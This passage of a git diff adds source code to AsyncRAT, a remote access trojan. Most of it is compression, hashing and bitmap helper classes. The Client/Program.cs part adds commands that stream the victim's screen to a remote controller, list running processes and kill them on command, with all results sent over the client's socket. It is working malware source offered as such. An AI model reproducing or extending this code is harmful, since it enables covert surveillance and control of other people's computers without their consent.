+ { + return imageEncoders[i]; + } + } + return null; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs new file mode 100644 index 0000000..d9cfeef --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class LzwCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public LzwCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW); + } + + public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) + { + using (MemoryStream stream = new MemoryStream()) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int i = 0; i < imageEncoders.Length; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs new file mode 100644 index 0000000..ba82bff --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class MurmurHash2Unsafe + { + const UInt32 m = 0x5bd1e995; + const Int32 r = 24; + + public unsafe UInt32 Hash(Byte* data, int length) + { + if (length == 0) + return 0; + UInt32 h = 0xc58f1a7b ^ (UInt32)length; + Int32 remainingBytes = length & 3; // mod 4 + Int32 numberOfLoops = length >> 2; // div 4 + UInt32* realData = (UInt32*)data; + while (numberOfLoops != 0) + { + UInt32 k = *realData; + k *= m; + k ^= k >> r; + k *= m; + + h *= m; + h ^= k; + numberOfLoops--; + realData++; + } + switch (remainingBytes) + { + case 3: + h ^= (UInt16)(*realData); + h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; + h *= m; + break; + case 2: + h ^= (UInt16)(*realData); + h *= m; + break; + case 1: + h ^= *((Byte*)realData); + h *= m; + break; + default: + break; + } + + // Do a few final mixes of the hash to ensure the last few + // bytes are well-incorporated. + + h ^= h >> 13; + h *= m; + h ^= h >> 15; + + return h; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs new file mode 100644 index 0000000..38df525 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs new file mode 100644 index 0000000..a76fb23 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs @@ -0,0 +1,113 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class PayloadWriter : IDisposable + { + public Stream vStream { get; set; } + public PayloadWriter() + { + vStream = new MemoryStream(); + } + public PayloadWriter(Stream stream) + { + vStream = stream; + } + + public void WriteBytes(byte[] value) + { + vStream.Write(value, 0, value.Length); + } + + public void WriteBytes(byte[] value, int Offset, int Length) + { + vStream.Write(value, Offset, Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// A integer with 3 bytes not 4 + /// + public void WriteThreeByteInteger(int value) + { + WriteByte((byte)value); + WriteByte((byte)(value >> 8)); + WriteByte((byte)(value >> 16)); + } + + public void WriteUInteger(uint value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + public void WriteShort(short value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteUShort(ushort value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteULong(ulong value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + public void WriteByte(byte value) + { + vStream.WriteByte(value); + } + + public void WriteBool(bool value) + { + WriteByte(value ? (byte)1 : (byte)0); + } + + public void WriteDouble(double value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteLong(long value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteFloat(float value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteDecimal(decimal value) + { + BinaryWriter writer = new BinaryWriter(vStream); + writer.Write(value); + } + + public void WriteString(string value) + { + if (!(value == null)) + WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); + else + throw new NullReferenceException("value"); + vStream.WriteByte(0); + vStream.WriteByte(0); + } + + public int Length + { + get { return (int)vStream.Length; } + } + + public void Dispose() + { + vStream.Close(); + vStream.Dispose(); + vStream = null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs new file mode 100644 index 0000000..71ba44f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.src +{ + /// + /// A helper class for pointers + /// + public class PointerHelper + { + private int _offset; + + public IntPtr Pointer + { + get; + private set; + } + + public int TotalLength { get; private set; } + + public int Offset + { + get { return _offset; } + set + { + if (value < 0) + throw new Exception("Offset must be >= 1"); + + if (value >= TotalLength) + throw new Exception("Offset cannot go outside of the reserved buffer space"); + + _offset = value; + } + } + + public PointerHelper(IntPtr pointer, int Length) + { + this.TotalLength = Length; + this.Pointer = pointer; + } + + /// + /// Copies data from Source to the current Pointer Offset + /// + public void Copy(IntPtr Source, int SourceOffset, int SourceLength) + { + if (CheckBoundries(this.Offset, SourceLength)) + throw new AccessViolationException("Cannot write outside of the buffer space"); + NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); + } + + private bool CheckBoundries(int offset, int length) + { + return offset + length > TotalLength; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs new file mode 100644 index 0000000..bde4b98 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs @@ -0,0 +1,487 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.src +{ + // QuickLZ data compression library + // Copyright (C) 2006-2011 Lasse Mikkel Reinhold + // lar@quicklz.com + // + // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything + // released into public must be open source) or under a commercial license if such + // has been acquired (see http://www.quicklz.com/order.html). The commercial license + // does not cover derived or ported versions created by third parties under GPL. + // + // Only a subset of the C library has been ported, namely level 1 and 3 not in + // streaming mode. + // + // Version: 1.5.0 final + + public class SafeQuickLZ + { + public const int QLZ_VERSION_MAJOR = 1; + public const int QLZ_VERSION_MINOR = 5; + public const int QLZ_VERSION_REVISION = 0; + + // Streaming mode not supported + public const int QLZ_STREAMING_BUFFER = 0; + + // Bounds checking not supported Use try...catch instead + public const int QLZ_MEMORY_SAFE = 0; + + // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! + private const int HASH_VALUES = 4096; + private const int MINOFFSET = 2; + private const int UNCONDITIONAL_MATCHLEN = 6; + private const int UNCOMPRESSED_END = 4; + private const int CWORD_LEN = 4; + private const int DEFAULT_HEADERLEN = 9; + private const int QLZ_POINTERS_1 = 1; + private const int QLZ_POINTERS_3 = 16; + + private int headerLen(byte[] source, int offset) + { + return ((source[offset] & 2) == 2) ? 9 : 3; + } + + public int sizeDecompressed(byte[] source, int offset) + { + if (headerLen(source, offset) == 9) + return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); + else + return source[offset + 2]; + } + + public int sizeCompressed(byte[] source, int offset) + { + if (headerLen(source, offset) == 9) + return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); + else + return source[offset + 1]; + } + + private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) + { + dst[0] = (byte)(2 | (compressible ? 1 : 0)); + dst[0] |= (byte)(level << 2); + dst[0] |= (1 << 6); + dst[0] |= (0 << 4); + fast_write(dst, 1, size_decompressed, 4); + fast_write(dst, 5, size_compressed, 4); + } + + public byte[] compress(byte[] source, int Offset, int Length, int level) + { + int src = Offset; + int dst = DEFAULT_HEADERLEN + CWORD_LEN; + uint cword_val = 0x80000000; + int cword_ptr = DEFAULT_HEADERLEN; + byte[] destination = new byte[Length + 400]; + int[,] hashtable; + int[] cachetable = new int[HASH_VALUES]; + byte[] hash_counter = new byte[HASH_VALUES]; + byte[] d2; + int fetch = 0; + int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); + int lits = 0; + + if (level != 1 && level != 3) + throw new ArgumentException("C# version only supports level 1 and 3"); + + if (level == 1) + hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; + else + hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; + + if (Length == 0) + return new byte[0]; + + if (src <= last_matchstart) + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + + while (src <= last_matchstart) + { + if ((cword_val & 1) == 1) + { + if (src > Length >> 1 && dst > src - (src >> 5)) + { + d2 = new byte[Length + DEFAULT_HEADERLEN]; + write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); + System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); + return d2; + } + + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000; + } + + if (level == 1) + { + int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + int o = hashtable[hash, 0]; + int cache = cachetable[hash] ^ fetch; + cachetable[hash] = fetch; + hashtable[hash, 0] = src; + + if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && + source[src] == source[src - 2] && source[src] == source[src - 1] && + source[src] == source[src + 1] && source[src] == source[src + 2]))) + { + cword_val = ((cword_val >> 1) | 0x80000000); + if (source[o + 3] != source[src + 3]) + { + int f = 3 - 2 | (hash << 4); + destination[dst + 0] = (byte)(f >> 0 * 8); + destination[dst + 1] = (byte)(f >> 1 * 8); + src += 3; + dst += 2; + } + else + { + int old_src = src; + int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); + + src += 4; + if (source[o + src - old_src] == source[src]) + { + src++; + if (source[o + src - old_src] == source[src]) + { + src++; + while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) + src++; + } + } + + int matchlen = src - old_src; + + hash <<= 4; + if (matchlen < 18) + { + int f = (hash | (matchlen - 2)); + destination[dst + 0] = (byte)(f >> 0 * 8); + destination[dst + 1] = (byte)(f >> 1 * 8); + dst += 2; + } + else + { + fast_write(destination, dst, hash | (matchlen << 16), 3); + dst += 3; + } + } + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + lits = 0; + } + else + { + lits++; + hash_counter[hash] = 1; + destination[dst] = source[src]; + cword_val = (cword_val >> 1); + src++; + dst++; + fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); + } + + } + else + { + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + + int o, offset2; + int matchlen, k, m, best_k = 0; + byte c; + int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); + int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + + c = hash_counter[hash]; + matchlen = 0; + offset2 = 0; + for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) + { + o = hashtable[hash, k]; + if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) + { + m = 3; + while (source[o + m] == source[src + m] && m < remaining) + m++; + if ((m > matchlen) || (m == matchlen && o > offset2)) + { + offset2 = o; + matchlen = m; + best_k = k; + } + } + } + o = offset2; + hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; + c++; + hash_counter[hash] = c; + + if (matchlen >= 3 && src - o < 131071) + { + int offset = src - o; + + for (int u = 1; u < matchlen; u++) + { + fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); + hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + c = hash_counter[hash]++; + hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; + } + + src += matchlen; + cword_val = ((cword_val >> 1) | 0x80000000); + + if (matchlen == 3 && offset <= 63) + { + fast_write(destination, dst, offset << 2, 1); + dst++; + } + else if (matchlen == 3 && offset <= 16383) + { + fast_write(destination, dst, (offset << 2) | 1, 2); + dst += 2; + } + else if (matchlen <= 18 && offset <= 1023) + { + fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); + dst += 2; + } + else if (matchlen <= 33) + { + fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); + dst += 3; + } + else + { + fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); + dst += 4; + } + lits = 0; + } + else + { + destination[dst] = source[src]; + cword_val = (cword_val >> 1); + src++; + dst++; + } + } + } + while (src <= Length - 1) + { + if ((cword_val & 1) == 1) + { + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000; + } + + destination[dst] = source[src]; + src++; + dst++; + cword_val = (cword_val >> 1); + } + while ((cword_val & 1) != 1) + { + cword_val = (cword_val >> 1); + } + + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); + write_header(destination, level, true, Length, dst); + d2 = new byte[dst]; + System.Array.Copy(destination, d2, dst); + return d2; + } + + + private void fast_write(byte[] a, int i, int value, int numbytes) + { + for (int j = 0; j < numbytes; j++) + a[i + j] = (byte)(value >> (j * 8)); + } + + public byte[] decompress(byte[] source, int Offset, int Length) + { + int level; + int size = sizeDecompressed(source, Offset); + int src = headerLen(source, Offset) + Offset; + int dst = 0; + uint cword_val = 1; + byte[] destination = new byte[size]; + int[] hashtable = new int[4096]; + byte[] hash_counter = new byte[4096]; + int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; + int last_hashed = -1; + int hash; + uint fetch = 0; + + level = (source[Offset] >> 2) & 0x3; + + if (level != 1 && level != 3) + throw new ArgumentException("C# version only supports level 1 and 3"); + + if ((source[Offset] & 1) != 1) + { + byte[] d2 = new byte[size]; + System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); + return d2; + } + + for (; ; ) + { + if (cword_val == 1) + { + cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + src += 4; + if (dst <= last_matchstart) + { + if (level == 1) + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); + else + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + } + } + + if ((cword_val & 1) == 1) + { + uint matchlen; + uint offset2; + + cword_val = cword_val >> 1; + + if (level == 1) + { + hash = ((int)fetch >> 4) & 0xfff; + offset2 = (uint)hashtable[hash]; + + if ((fetch & 0xf) != 0) + { + matchlen = (fetch & 0xf) + 2; + src += 2; + } + else + { + matchlen = source[src + 2]; + src += 3; + } + } + else + { + uint offset; + if ((fetch & 3) == 0) + { + offset = (fetch & 0xff) >> 2; + matchlen = 3; + src++; + } + else if ((fetch & 2) == 0) + { + offset = (fetch & 0xffff) >> 2; + matchlen = 3; + src += 2; + } + else if ((fetch & 1) == 0) + { + offset = (fetch & 0xffff) >> 6; + matchlen = ((fetch >> 2) & 15) + 3; + src += 2; + } + else if ((fetch & 127) != 3) + { + offset = (fetch >> 7) & 0x1ffff; + matchlen = ((fetch >> 2) & 0x1f) + 2; + src += 3; + } + else + { + offset = (fetch >> 15); + matchlen = ((fetch >> 7) & 255) + 3; + src += 4; + } + offset2 = (uint)(dst - offset); + } + + destination[dst + 0] = destination[offset2 + 0]; + destination[dst + 1] = destination[offset2 + 1]; + destination[dst + 2] = destination[offset2 + 2]; + + for (int i = 3; i < matchlen; i += 1) + { + destination[dst + i] = destination[offset2 + i]; + } + + dst += (int)matchlen; + + if (level == 1) + { + fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); + while (last_hashed < dst - matchlen) + { + last_hashed++; + hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); + } + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); + } + else + { + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + } + last_hashed = dst - 1; + } + else + { + if (dst <= last_matchstart) + { + destination[dst] = source[src]; + dst += 1; + src += 1; + cword_val = cword_val >> 1; + + if (level == 1) + { + while (last_hashed < dst - 3) + { + last_hashed++; + int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); + hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + } + fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); + } + else + { + fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); + } + } + else + { + while (dst <= size - 1) + { + if (cword_val == 1) + { + src += CWORD_LEN; + cword_val = 0x80000000; + } + + destination[dst] = source[src]; + dst++; + src++; + cword_val = cword_val >> 1; + } + return destination; + } + } + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs new file mode 100644 index 0000000..ab62e1f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class SimpleBitmap + { + private object ProcessingLock = new object(); + + public SimpleBitmapInfo Info { get; internal set; } + public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } + public IntPtr Scan0 { get; internal set; } + public int Scan0_int { get; internal set; } + public BitmapData bitmapData { get; internal set; } + public Bitmap bitMap { get; set; } + + public class SimpleBitmapInfo + { + public SimpleBitmapInfo() + { + Clear(); + } + public SimpleBitmapInfo(BitmapData data) + { + Load(data); + } + public int Stride { get; protected set; } + public int PixelSize { get; protected set; } + public int Width { get; protected set; } + public int Height { get; protected set; } + + public int TotalSize { get; protected set; } + + internal void Clear() + { + Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; + } + internal void Load(BitmapData data) + { + Width = data.Width; Height = data.Height; Stride = data.Stride; + + PixelSize = Math.Abs(data.Stride) / data.Width; + TotalSize = data.Width * data.Height * PixelSize; + } + } + + public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + int calc = 0; + int WidthSize = block.Width * sharedInfo.PixelSize; + + calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; + + for (int i = 0; i < block.Height; i++) + { + if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) + return false; + calc += sharedInfo.Stride; + } + return true; + } + public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + int calc = 0; + int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; + + calc = y * sharedInfo.Stride; + + if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) + return false; + return true; + } + public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) + return false; + return true; + } + + public unsafe void CopyBlock(Rectangle block, ref byte[] dest) + { + int calc = 0; + int WidthSize = block.Width * Info.PixelSize; + int CopyOffset = 0; + int scan0 = Scan0.ToInt32(); + int destSize = WidthSize * block.Height; + + if (dest == null || dest.Length != destSize) + dest = new byte[destSize]; + + calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; + + fixed (byte* ptr = dest) + { + for (int i = 0; i < block.Height; i++) + { + NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); + calc += Info.Stride; + CopyOffset += WidthSize; + } + } + } + + public SimpleBitmap() + { + Scan0 = IntPtr.Zero; + bitmapData = null; + bitMap = null; + + Info = new SimpleBitmapInfo(); + } + public SimpleBitmap(Bitmap bmp) + { + this.bitMap = bmp; + } + + public void Lock() + { + if (Locked) + throw new Exception("Already locked"); + + lock (ProcessingLock) + { + bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); + + Info = new SimpleBitmapInfo(bitmapData); + + Scan0 = bitmapData.Scan0; + Scan0_int = Scan0.ToInt32(); + } + } + public void Unlock() + { + if (!Locked) + throw new Exception("Nothing to unlock"); + + lock (ProcessingLock) + { + Scan0 = IntPtr.Zero; + Scan0_int = 0; + + Info.Clear(); + bitMap.UnlockBits(bitmapData); + bitmapData = null; + } + } + public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) + { + int CopySize = Info.PixelSize * loc.Width; + int OffsetX = loc.X * Info.PixelSize; + int TotalCopied = 0; + + fixed (byte* ptr = block) + { + for (int i = 0; i < loc.Height; i++) + { + NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); + TotalCopied += CopySize; + } + } + } + public void Dispose(bool disposeBitmap = false) + { + if (Locked) + Unlock(); + + if (disposeBitmap) + bitMap.Dispose(); + + bitMap = null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 4fbeed1..08e17a8 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -23,6 +23,7 @@ 4 + true x86 @@ -40,6 +41,8 @@ + + @@ -50,6 +53,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index facfb74..27b26d4 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -11,7 +11,12 @@ using System.Windows.Forms; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; - +using StreamLibrary; +using StreamLibrary.UnsafeCodecs; +using System.Drawing; +using System.Drawing.Imaging; +using System.Management; +using System.Linq; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -157,6 +162,7 @@ namespace Client if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); + Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) @@ -270,6 +276,45 @@ namespace Client Uninstall(); } break; + + case "remoteDesktop": + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "false": + { + RemoteDesktop_Status = false; + } + break; + + case "true": + { + RemoteDesktop_Status = true; + RemoteDesktop(); + } + break; + } + } + break; + + case "processManager": + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "List": + { + ProcessManager(); + } + break; + + case "Kill": + { + ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + } + break; + } + } + break; } } catch { } @@ -282,6 +327,105 @@ namespace Client BeginSend(msgpack.Encode2Bytes()); } + private static void ProcessKill(int ID) + { + foreach (var process in Process.GetProcesses()) + { + try + { + if (process.Id == ID) + { + process.Kill(); + } + } + catch { }; + } + ProcessManager(); + } + + private static void ProcessManager() + { + StringBuilder sb = new StringBuilder(); + var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process"; + using (var searcher = new ManagementObjectSearcher(query)) + using (var results = searcher.Get()) + { + var processes = results.Cast().Select(x => new + { + ProcessId = (UInt32)x["ProcessId"], + Name = (string)x["Name"], + ExecutablePath = (string)x["ExecutablePath"] + }); + foreach (var p in processes) + { + if (File.Exists(p.ExecutablePath)) + { + string name = p.ExecutablePath; + string key = p.ProcessId.ToString(); + Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath); + Bitmap bmpIcon = icon.ToBitmap(); + using (MemoryStream ms = new MemoryStream()) + { + bmpIcon.Save(ms, ImageFormat.Png); + sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>"); + } + } + } + } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "processManager"; + msgpack.ForcePathObject("Message").AsString = sb.ToString(); + BeginSend(msgpack.Encode2Bytes()); + } + + private static bool RemoteDesktop_Status { get; set; } + private static void RemoteDesktop() + { + try + { + IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); + while (RemoteDesktop_Status == true) + { + Thread.Sleep(1); + if (!Client.Connected) break; + Bitmap bmp = CaptureScreen(); + Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); + Size size = new Size(bmp.Width, bmp.Height); + BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); + + using (MemoryStream stream = new MemoryStream(1000000)) + { + unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); + if (stream.Length > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); + BeginSend(msgpack.Encode2Bytes()); + } + } + bmp.UnlockBits(bmpData); + bmp.Dispose(); + } + } + catch { } + } + + private static Bitmap CaptureScreen() + { + Rectangle rect = Screen.AllScreens[0].WorkingArea; + try + { + Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); + Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot); + gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); + gfxScreenshot.Dispose(); + return bmpScreenshot; + } + catch { return new Bitmap(rect.Width, rect.Height); } + } + + private static void Uninstall() { ProcessStartInfo Del = null; diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs new file mode 100644 index 0000000..fce74ea --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs @@ -0,0 +1,160 